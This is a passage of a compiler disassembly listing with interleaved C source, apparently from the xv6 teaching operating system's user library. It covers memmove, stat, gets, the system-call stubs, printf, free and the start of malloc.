push %ebx 268: 8b 5d 10 mov 0x10(%ebp),%ebx 26b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 26e: 85 db test %ebx,%ebx 270: 7e 14 jle 286 <memmove+0x26> n = n*10 + *s++ - '0'; return n; } void* memmove(void *vdst, const void *vsrc, int n) 272: 31 d2 xor %edx,%edx 274: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi const char *src; dst = vdst; src = vsrc; while(n-- > 0) *dst++ = *src++; 278: 0f b6 0c 16 movzbl (%esi,%edx,1),%ecx 27c: 88 0c 10 mov %cl,(%eax,%edx,1) 27f: 83 c2 01 add $0x1,%edx char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 282: 39 da cmp %ebx,%edx 284: 75 f2 jne 278 <memmove+0x18> *dst++ = *src++; return vdst; } 286: 5b pop %ebx 287: 5e pop %esi 288: 5d pop %ebp 289: c3 ret 28a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000290 <stat>: return buf; } int stat(const char *n, struct stat *st) { 290: 55 push %ebp 291: 89 e5 mov %esp,%ebp 293: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 296: 8b 45 08 mov 0x8(%ebp),%eax return buf; } int stat(const char *n, struct stat *st) { 299: 89 5d f8 mov %ebx,-0x8(%ebp) 29c: 89 75 fc mov %esi,-0x4(%ebp) int fd; int r; fd = open(n, O_RDONLY); if(fd < 0) 29f: be ff ff ff ff mov $0xffffffff,%esi stat(const char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 2a4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 2ab: 00 2ac: 89 04 24 mov %eax,(%esp) 2af: e8 d4 00 00 00 call 388 <open> if(fd < 0) 2b4: 85 c0 test %eax,%eax stat(const char *n, struct stat *st) { int fd; int r; fd = open(n, O_RDONLY); 2b6: 89 c3 mov %eax,%ebx if(fd < 0) 2b8: 78 19 js 2d3 <stat+0x43> return -1; r = fstat(fd, st); 2ba: 8b 45 0c mov 0xc(%ebp),%eax 2bd: 89 1c 24 mov %ebx,(%esp) 2c0: 89 44 24 04 mov %eax,0x4(%esp) 2c4: e8 d7 00 00 00 call 3a0 <fstat> close(fd); 2c9: 89 1c 24 mov %ebx,(%esp) int r; fd = open(n, O_RDONLY); if(fd < 0) return -1; r = fstat(fd, st); 2cc: 89 c6 mov %eax,%esi close(fd); 2ce: e8 9d 00 00 00 call 370 <close> return r; } 2d3: 89 f0 mov %esi,%eax 2d5: 8b 5d f8 mov -0x8(%ebp),%ebx 2d8: 8b 75 fc mov -0x4(%ebp),%esi 2db: 89 ec mov %ebp,%esp 2dd: 5d pop %ebp 2de: c3 ret 2df: 90 nop 000002e0 <gets>: return 0; } char* gets(char *buf, int max) { 2e0: 55 push %ebp 2e1: 89 e5 mov %esp,%ebp 2e3: 57 push %edi 2e4: 56 push %esi 2e5: 31 f6 xor %esi,%esi 2e7: 53 push %ebx 2e8: 83 ec 2c sub $0x2c,%esp 2eb: 8b 7d 08 mov 0x8(%ebp),%edi int i, cc; char c; for(i=0; i+1 < max; ){ 2ee: eb 06 jmp 2f6 <gets+0x16> cc = read(0, &c, 1); if(cc < 1) break; buf[i++] = c; if(c == '\n' || c == '\r') 2f0: 3c 0a cmp $0xa,%al 2f2: 74 39 je 32d <gets+0x4d> 2f4: 89 de mov %ebx,%esi gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 2f6: 8d 5e 01 lea 0x1(%esi),%ebx 2f9: 3b 5d 0c cmp 0xc(%ebp),%ebx 2fc: 7d 31 jge 32f <gets+0x4f> cc = read(0, &c, 1); 2fe: 8d 45 e7 lea -0x19(%ebp),%eax 301: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 308: 00 309: 89 44 24 04 mov %eax,0x4(%esp) 30d: c7 04 24 00 00 00 00 movl $0x0,(%esp) 314: e8 47 00 00 00 call 360 <read> if(cc < 1) 319: 85 c0 test %eax,%eax 31b: 7e 12 jle 32f <gets+0x4f> break; buf[i++] = c; 31d: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 321: 88 44 1f ff mov %al,-0x1(%edi,%ebx,1) if(c == '\n' || c == '\r') 325: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 329: 3c 0d cmp $0xd,%al 32b: 75 c3 jne 2f0 <gets+0x10> 32d: 89 de mov %ebx,%esi break; } buf[i] = '\0'; 32f: c6 04 37 00 movb $0x0,(%edi,%esi,1) return buf; } 333: 89 f8 mov %edi,%eax 335: 83 c4 2c add $0x2c,%esp 338: 5b pop %ebx 339: 5e pop %esi 33a: 5f pop %edi 33b: 5d pop %ebp 33c: c3 ret 33d: 90 nop 33e: 90 nop 33f: 90 nop 00000340 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 340: b8 01 00 00 00 mov $0x1,%eax 345: cd 40 int $0x40 347: c3 ret 00000348 <exit>: SYSCALL(exit) 348: b8 02 00 00 00 mov $0x2,%eax 34d: cd 40 int $0x40 34f: c3 ret 00000350 <wait>: SYSCALL(wait) 350: b8 03 00 00 00 mov $0x3,%eax 355: cd 40 int $0x40 357: c3 ret 00000358 <pipe>: SYSCALL(pipe) 358: b8 04 00 00 00 mov $0x4,%eax 35d: cd 40 int $0x40 35f: c3 ret 00000360 <read>: SYSCALL(read) 360: b8 05 00 00 00 mov $0x5,%eax 365: cd 40 int $0x40 367: c3 ret 00000368 <write>: SYSCALL(write) 368: b8 10 00 00 00 mov $0x10,%eax 36d: cd 40 int $0x40 36f: c3 ret 00000370 <close>: SYSCALL(close) 370: b8 15 00 00 00 mov $0x15,%eax 375: cd 40 int $0x40 377: c3 ret 00000378 <kill>: SYSCALL(kill) 378: b8 06 00 00 00 mov $0x6,%eax 37d: cd 40 int $0x40 37f: c3 ret 00000380 <exec>: SYSCALL(exec) 380: b8 07 00 00 00 mov $0x7,%eax 385: cd 40 int $0x40 387: c3 ret 00000388 <open>: SYSCALL(open) 388: b8 0f 00 00 00 mov $0xf,%eax 38d: cd 40 int $0x40 38f: c3 ret 00000390 <mknod>: SYSCALL(mknod) 390: b8 11 00 00 00 mov $0x11,%eax 395: cd 40 int $0x40 397: c3 ret 00000398 <unlink>: SYSCALL(unlink) 398: b8 12 00 00 00 mov $0x12,%eax 39d: cd 40 int $0x40 39f: c3 ret 000003a0 <fstat>: SYSCALL(fstat) 3a0: b8 08 00 00 00 mov $0x8,%eax 3a5: cd 40 int $0x40 3a7: c3 ret 000003a8 <link>: SYSCALL(link) 3a8: b8 13 00 00 00 mov $0x13,%eax 3ad: cd 40 int $0x40 3af: c3 ret 000003b0 <mkdir>: SYSCALL(mkdir) 3b0: b8 14 00 00 00 mov $0x14,%eax 3b5: cd 40 int $0x40 3b7: c3 ret 000003b8 <chdir>: SYSCALL(chdir) 3b8: b8 09 00 00 00 mov $0x9,%eax 3bd: cd 40 int $0x40 3bf: c3 ret 000003c0 <dup>: SYSCALL(dup) 3c0: b8 0a 00 00 00 mov $0xa,%eax 3c5: cd 40 int $0x40 3c7: c3 ret 000003c8 <getpid>: SYSCALL(getpid) 3c8: b8 0b 00 00 00 mov $0xb,%eax 3cd: cd 40 int $0x40 3cf: c3 ret 000003d0 <sbrk>: SYSCALL(sbrk) 3d0: b8 0c 00 00 00 mov $0xc,%eax 3d5: cd 40 int $0x40 3d7: c3 ret 000003d8 <sleep>: SYSCALL(sleep) 3d8: b8 0d 00 00 00 mov $0xd,%eax 3dd: cd 40 int $0x40 3df: c3 ret 000003e0 <uptime>: SYSCALL(uptime) 3e0: b8 0e 00 00 00 mov $0xe,%eax 3e5: cd 40 int $0x40 3e7: c3 ret 3e8: 90 nop 3e9: 90 nop 3ea: 90 nop 3eb: 90 nop 3ec: 90 nop 3ed: 90 nop 3ee: 90 nop 3ef: 90 nop 000003f0 <printint>: write(fd, &c, 1); } static void printint(int fd, int xx, int base, int sgn) { 3f0: 55 push %ebp 3f1: 89 e5 mov %esp,%ebp 3f3: 57 push %edi 3f4: 89 cf mov %ecx,%edi 3f6: 56 push %esi 3f7: 89 c6 mov %eax,%esi 3f9: 53 push %ebx 3fa: 83 ec 4c sub $0x4c,%esp char buf[16]; int i, neg; uint x; neg = 0; if(sgn && xx < 0){ 3fd: 8b 4d 08 mov 0x8(%ebp),%ecx 400: 85 c9 test %ecx,%ecx 402: 74 04 je 408 <printint+0x18> 404: 85 d2 test %edx,%edx 406: 78 70 js 478 <printint+0x88> neg = 1; x = -xx; } else { x = xx; 408: 89 d0 mov %edx,%eax 40a: c7 45 c4 00 00 00 00 movl $0x0,-0x3c(%ebp) 411: 31 c9 xor %ecx,%ecx 413: 8d 5d d7 lea -0x29(%ebp),%ebx 416: 66 90 xchg %ax,%ax } i = 0; do{ buf[i++] = digits[x % base]; 418: 31 d2 xor %edx,%edx 41a: f7 f7 div %edi 41c: 0f b6 92 5d 08 00 00 movzbl 0x85d(%edx),%edx 423: 88 14 0b mov %dl,(%ebx,%ecx,1) 426: 83 c1 01 add $0x1,%ecx }while((x /= base) != 0); 429: 85 c0 test %eax,%eax 42b: 75 eb jne 418 <printint+0x28> if(neg) 42d: 8b 45 c4 mov -0x3c(%ebp),%eax 430: 85 c0 test %eax,%eax 432: 74 08 je 43c <printint+0x4c> buf[i++] = '-'; 434: c6 44 0d d7 2d movb $0x2d,-0x29(%ebp,%ecx,1) 439: 83 c1 01 add $0x1,%ecx while(--i >= 0) 43c: 8d 79 ff lea -0x1(%ecx),%edi 43f: 01 fb add %edi,%ebx 441: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 448: 0f b6 03 movzbl (%ebx),%eax 44b: 83 ef 01 sub $0x1,%edi 44e: 83 eb 01 sub $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 451: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 458: 00 459: 89 34 24 mov %esi,(%esp) buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 45c: 88 45 e7 mov %al,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 45f: 8d 45 e7 lea -0x19(%ebp),%eax 462: 89 44 24 04 mov %eax,0x4(%esp) 466: e8 fd fe ff ff call 368 <write> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 46b: 83 ff ff cmp $0xffffffff,%edi 46e: 75 d8 jne 448 <printint+0x58> putc(fd, buf[i]); } 470: 83 c4 4c add $0x4c,%esp 473: 5b pop %ebx 474: 5e pop %esi 475: 5f pop %edi 476: 5d pop %ebp 477: c3 ret uint x; neg = 0; if(sgn && xx < 0){ neg = 1; x = -xx; 478: 89 d0 mov %edx,%eax 47a: f7 d8 neg %eax 47c: c7 45 c4 01 00 00 00 movl $0x1,-0x3c(%ebp) 483: eb 8c jmp 411 <printint+0x21> 485: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 489: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000490 <printf>: } // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, const char *fmt, ...) { 490: 55 push %ebp 491: 89 e5 mov %esp,%ebp 493: 57 push %edi 494: 56 push %esi 495: 53 push %ebx 496: 83 ec 3c sub $0x3c,%esp int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 499: 8b 45 0c mov 0xc(%ebp),%eax 49c: 0f b6 10 movzbl (%eax),%edx 49f: 84 d2 test %dl,%dl 4a1: 0f 84 c9 00 00 00 je 570 <printf+0xe0> char *s; int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; 4a7: 8d 4d 10 lea 0x10(%ebp),%ecx 4aa: 31 ff xor %edi,%edi 4ac: 89 4d d4 mov %ecx,-0x2c(%ebp) 4af: 31 db xor %ebx,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 4b1: 8d 75 e7 lea -0x19(%ebp),%esi 4b4: eb 1e jmp 4d4 <printf+0x44> 4b6: 66 90 xchg %ax,%ax state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 4b8: 83 fa 25 cmp $0x25,%edx 4bb: 0f 85 b7 00 00 00 jne 578 <printf+0xe8> 4c1: 66 bf 25 00 mov $0x25,%di int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 4c5: 83 c3 01 add $0x1,%ebx 4c8: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx 4cc: 84 d2 test %dl,%dl 4ce: 0f 84 9c 00 00 00 je 570 <printf+0xe0> c = fmt[i] & 0xff; if(state == 0){ 4d4: 85 ff test %edi,%edi uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; 4d6: 0f b6 d2 movzbl %dl,%edx if(state == 0){ 4d9: 74 dd je 4b8 <printf+0x28> if(c == '%'){ state = '%'; } else { putc(fd, c); } } else if(state == '%'){ 4db: 83 ff 25 cmp $0x25,%edi 4de: 75 e5 jne 4c5 <printf+0x35> if(c == 'd'){ 4e0: 83 fa 64 cmp $0x64,%edx 4e3: 0f 84 47 01 00 00 je 630 <printf+0x1a0> printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ 4e9: 83 fa 70 cmp $0x70,%edx 4ec: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 4f0: 0f 84 aa 00 00 00 je 5a0 <printf+0x110> 4f6: 83 fa 78 cmp $0x78,%edx 4f9: 0f 84 a1 00 00 00 je 5a0 <printf+0x110> printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ 4ff: 83 fa 73 cmp $0x73,%edx 502: 0f 84 c0 00 00 00 je 5c8 <printf+0x138> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 508: 83 fa 63 cmp $0x63,%edx 50b: 90 nop 50c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 510: 0f 84 42 01 00 00 je 658 <printf+0x1c8> putc(fd, *ap); ap++; } else if(c == '%'){ 516: 83 fa 25 cmp $0x25,%edx 519: 0f 84 01 01 00 00 je 620 <printf+0x190> #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 51f: 8b 4d 08 mov 0x8(%ebp),%ecx 522: 89 55 cc mov %edx,-0x34(%ebp) 525: c6 45 e7 25 movb $0x25,-0x19(%ebp) 529: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 530: 00 531: 89 74 24 04 mov %esi,0x4(%esp) 535: 89 0c 24 mov %ecx,(%esp) 538: e8 2b fe ff ff call 368 <write> 53d: 8b 55 cc mov -0x34(%ebp),%edx 540: 88 55 e7 mov %dl,-0x19(%ebp) 543: 8b 45 08 mov 0x8(%ebp),%eax int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 546: 83 c3 01 add $0x1,%ebx #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 549: 31 ff xor %edi,%edi 54b: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 552: 00 553: 89 74 24 04 mov %esi,0x4(%esp) 557: 89 04 24 mov %eax,(%esp) 55a: e8 09 fe ff ff call 368 <write> 55f: 8b 45 0c mov 0xc(%ebp),%eax int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 562: 0f b6 14 18 movzbl (%eax,%ebx,1),%edx 566: 84 d2 test %dl,%dl 568: 0f 85 66 ff ff ff jne 4d4 <printf+0x44> 56e: 66 90 xchg %ax,%ax putc(fd, c); } state = 0; } } } 570: 83 c4 3c add $0x3c,%esp 573: 5b pop %ebx 574: 5e pop %esi 575: 5f pop %edi 576: 5d pop %ebp 577: c3 ret #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 578: 8b 45 08 mov 0x8(%ebp),%eax state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ c = fmt[i] & 0xff; if(state == 0){ if(c == '%'){ 57b: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 57e: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 585: 00 586: 89 74 24 04 mov %esi,0x4(%esp) 58a: 89 04 24 mov %eax,(%esp) 58d: e8 d6 fd ff ff call 368 <write> 592: 8b 45 0c mov 0xc(%ebp),%eax 595: e9 2b ff ff ff jmp 4c5 <printf+0x35> 59a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 5a0: 8b 45 d4 mov -0x2c(%ebp),%eax 5a3: b9 10 00 00 00 mov $0x10,%ecx ap++; 5a8: 31 ff xor %edi,%edi } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); 5aa: c7 04 24 00 00 00 00 movl $0x0,(%esp) 5b1: 8b 10 mov (%eax),%edx 5b3: 8b 45 08 mov 0x8(%ebp),%eax 5b6: e8 35 fe ff ff call 3f0 <printint> 5bb: 8b 45 0c mov 0xc(%ebp),%eax ap++; 5be: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 5c2: e9 fe fe ff ff jmp 4c5 <printf+0x35> 5c7: 90 nop } else if(c == 's'){ s = (char*)*ap; 5c8: 8b 55 d4 mov -0x2c(%ebp),%edx ap++; if(s == 0) 5cb: b9 56 08 00 00 mov $0x856,%ecx ap++; } else if(c == 'x' || c == 'p'){ printint(fd, *ap, 16, 0); ap++; } else if(c == 's'){ s = (char*)*ap; 5d0: 8b 3a mov (%edx),%edi ap++; 5d2: 83 c2 04 add $0x4,%edx 5d5: 89 55 d4 mov %edx,-0x2c(%ebp) if(s == 0) 5d8: 85 ff test %edi,%edi 5da: 0f 44 f9 cmove %ecx,%edi s = "(null)"; while(*s != 0){ 5dd: 0f b6 17 movzbl (%edi),%edx 5e0: 84 d2 test %dl,%dl 5e2: 74 33 je 617 <printf+0x187> 5e4: 89 5d d0 mov %ebx,-0x30(%ebp) 5e7: 8b 5d 08 mov 0x8(%ebp),%ebx 5ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi putc(fd, *s); s++; 5f0: 83 c7 01 add $0x1,%edi } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 5f3: 88 55 e7 mov %dl,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 5f6: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 5fd: 00 5fe: 89 74 24 04 mov %esi,0x4(%esp) 602: 89 1c 24 mov %ebx,(%esp) 605: e8 5e fd ff ff call 368 <write> } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 60a: 0f b6 17 movzbl (%edi),%edx 60d: 84 d2 test %dl,%dl 60f: 75 df jne 5f0 <printf+0x160> 611: 8b 5d d0 mov -0x30(%ebp),%ebx 614: 8b 45 0c mov 0xc(%ebp),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 617: 31 ff xor %edi,%edi 619: e9 a7 fe ff ff jmp 4c5 <printf+0x35> 61e: 66 90 xchg %ax,%ax s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; } else if(c == '%'){ 620: c6 45 e7 25 movb $0x25,-0x19(%ebp) 624: e9 1a ff ff ff jmp 543 <printf+0xb3> 629: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 630: 8b 45 d4 mov -0x2c(%ebp),%eax 633: b9 0a 00 00 00 mov $0xa,%ecx ap++; 638: 66 31 ff xor %di,%di } else { putc(fd, c); } } else if(state == '%'){ if(c == 'd'){ printint(fd, *ap, 10, 1); 63b: c7 04 24 01 00 00 00 movl $0x1,(%esp) 642: 8b 10 mov (%eax),%edx 644: 8b 45 08 mov 0x8(%ebp),%eax 647: e8 a4 fd ff ff call 3f0 <printint> 64c: 8b 45 0c mov 0xc(%ebp),%eax ap++; 64f: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 653: e9 6d fe ff ff jmp 4c5 <printf+0x35> s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 658: 8b 55 d4 mov -0x2c(%ebp),%edx putc(fd, *ap); ap++; 65b: 31 ff xor %edi,%edi #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 65d: 8b 4d 08 mov 0x8(%ebp),%ecx s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 660: 8b 02 mov (%edx),%eax #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 662: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 669: 00 66a: 89 74 24 04 mov %esi,0x4(%esp) 66e: 89 0c 24 mov %ecx,(%esp) s = "(null)"; while(*s != 0){ putc(fd, *s); s++; } } else if(c == 'c'){ 671: 88 45 e7 mov %al,-0x19(%ebp) #include "user.h" static void putc(int fd, char c) { write(fd, &c, 1); 674: e8 ef fc ff ff call 368 <write> 679: 8b 45 0c mov 0xc(%ebp),%eax putc(fd, *s); s++; } } else if(c == 'c'){ putc(fd, *ap); ap++; 67c: 83 45 d4 04 addl $0x4,-0x2c(%ebp) 680: e9 40 fe ff ff jmp 4c5 <printf+0x35> 685: 90 nop 686: 90 nop 687: 90 nop 688: 90 nop 689: 90 nop 68a: 90 nop 68b: 90 nop 68c: 90 nop 68d: 90 nop 68e: 90 nop 68f: 90 nop 00000690 <free>: static Header base; static Header *freep; void free(void *ap) { 690: 55 push %ebp Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 691: a1 80 08 00 00 mov 0x880,%eax static Header base; static Header *freep; void free(void *ap) { 696: 89 e5 mov %esp,%ebp 698: 57 push %edi 699: 56 push %esi 69a: 53 push %ebx 69b: 8b 5d 08 mov 0x8(%ebp),%ebx Header *bp, *p; bp = (Header*)ap - 1; 69e: 8d 4b f8 lea -0x8(%ebx),%ecx for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6a1: 39 c8 cmp %ecx,%eax 6a3: 73 1d jae 6c2 <free+0x32> 6a5: 8d 76 00 lea 0x0(%esi),%esi 6a8: 8b 10 mov (%eax),%edx 6aa: 39 d1 cmp %edx,%ecx 6ac: 72 1a jb 6c8 <free+0x38> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6ae: 39 d0 cmp %edx,%eax 6b0: 72 08 jb 6ba <free+0x2a> 6b2: 39 c8 cmp %ecx,%eax 6b4: 72 12 jb 6c8 <free+0x38> 6b6: 39 d1 cmp %edx,%ecx 6b8: 72 0e jb 6c8 <free+0x38> 6ba: 89 d0 mov %edx,%eax free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6bc: 39 c8 cmp %ecx,%eax 6be: 66 90 xchg %ax,%ax 6c0: 72 e6 jb 6a8 <free+0x18> 6c2: 8b 10 mov (%eax),%edx 6c4: eb e8 jmp 6ae <free+0x1e> 6c6: 66 90 xchg %ax,%ax if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 6c8: 8b 71 04 mov 0x4(%ecx),%esi 6cb: 8d 3c f1 lea (%ecx,%esi,8),%edi 6ce: 39 d7 cmp %edx,%edi 6d0: 74 19 je 6eb <free+0x5b> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 6d2: 89 53 f8 mov %edx,-0x8(%ebx) if(p + p->s.size == bp){ 6d5: 8b 50 04 mov 0x4(%eax),%edx 6d8: 8d 34 d0 lea (%eax,%edx,8),%esi 6db: 39 ce cmp %ecx,%esi 6dd: 74 23 je 702 <free+0x72> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 6df: 89 08 mov %ecx,(%eax) freep = p; 6e1: a3 80 08 00 00 mov %eax,0x880 } 6e6: 5b pop %ebx 6e7: 5e pop %esi 6e8: 5f pop %edi 6e9: 5d pop %ebp 6ea: c3 ret bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 6eb: 03 72 04 add 0x4(%edx),%esi 6ee: 89 71 04 mov %esi,0x4(%ecx) bp->s.ptr = p->s.ptr->s.ptr; 6f1: 8b 10 mov (%eax),%edx 6f3: 8b 12 mov (%edx),%edx 6f5: 89 53 f8 mov %edx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 6f8: 8b 50 04 mov 0x4(%eax),%edx 6fb: 8d 34 d0 lea (%eax,%edx,8),%esi 6fe: 39 ce cmp %ecx,%esi 700: 75 dd jne 6df <free+0x4f> p->s.size += bp->s.size; 702: 03 51 04 add 0x4(%ecx),%edx 705: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 708: 8b 53 f8 mov -0x8(%ebx),%edx 70b: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; 70d: a3 80 08 00 00 mov %eax,0x880 } 712: 5b pop %ebx 713: 5e pop %esi 714: 5f pop %edi 715: 5d pop %ebp 716: c3 ret 717: 89 f6 mov %esi,%esi 719: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000720 <malloc>: return freep; } void* malloc(uint nbytes) { 720: 55 push %ebp 721: 89 e5 mov %esp,%ebp 723: 57 push %edi 724: 56 push %esi 725: 53 push %ebx 726: 83 ec 2c sub $0x2c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 729: 8b 5d 08 mov 0x8(%ebp),%ebx if((prevp = freep) == 0){ 72c: 8b 0d 80 08 00 00 mov 0x880,%ecx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 732: 83 c3 07 add $0x7,%ebx 735: c1 eb 03 shr $0x3,%ebx 738: 83 c3 01 add $0x1,%ebx if((prevp = freep) == 0){ 73b: 85 c9 test %ecx,%ecx 73d: 0f 84 9b 00 00 00 je 7de <malloc+0xbe> base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 743: 8b 01 mov (%ecx),%eax if(p->s.size >= nunits){ 745: 8b 50 04 mov 0x4(%eax),%edx 748: 39 d3 cmp %edx,%ebx 74a: 76 27 jbe 773 <malloc+0x53> p->s.size -= nunits; p += p->s.size; p->s.size = nunits; } freep = prevp; return (void*)(p + 1); 74c: 8d 3c dd 00 00 00 00 lea 0x0(,%ebx,8),%edi morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 753: be 00 80 00 00 mov $0x8000,%esi 758: 89 7d e4 mov %edi,-0x1c(%ebp) 75b: 90 nop 75c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 760: 3b 05 80 08 00 00 cmp 0x880,%eax 766: 74 30 je 798 <malloc+0x78> 768: 89 c1 mov %eax,%ecx nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 76a: 8b 01 mov (%ecx),%eax if(p->s.size >= nunits){ 76c: 8b 50 04 mov 0x4(%eax),%edx 76f: 39 d3 cmp %edx,%ebx 771: 77 ed ja 760 <malloc+0x40> if(p->s.size == nunits) 773: 39 d3 cmp %edx,%ebx 775: 74 61 je 7d8 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 777: 29 da sub %ebx,%edx 779: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 77c: 8d 04 d0 lea (%eax,%edx,8),%eax p->s.size = nunits; 77f: 89 58 04 mov %ebx,0x4(%eax) } freep = prevp; 782: 89 0d 80 08 00 00 mov %ecx,0x880 return (void*)(p + 1); 788: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 78b: 83 c4 2c add $0x2c,%esp 78e: 5b pop %ebx 78f: 5e pop %esi 790: 5f pop %edi 791: 5d pop %ebp 792: c3 ret 793: 90 nop 794: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 798: 8b 45 e4 mov -0x1c(%ebp),%eax 79b: 81 fb 00 10 00 00 cmp $0x1000,%ebx 7a1: bf 00 10 00 00 mov $0x1000,%edi 7a6: 0f 43 fb cmovae %ebx,%edi 7a9: 0f 42 c6 cmovb %esi,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 7ac: 89 04 24 mov %eax,(%esp) 7af: e8 1c fc ff ff call 3d0 <sbrk> if(p == (char*)-1) 7b4: 83 f8 ff cmp $0xffffffff,%eax 7b7: 74 18 je 7d1 <malloc+0xb1> return 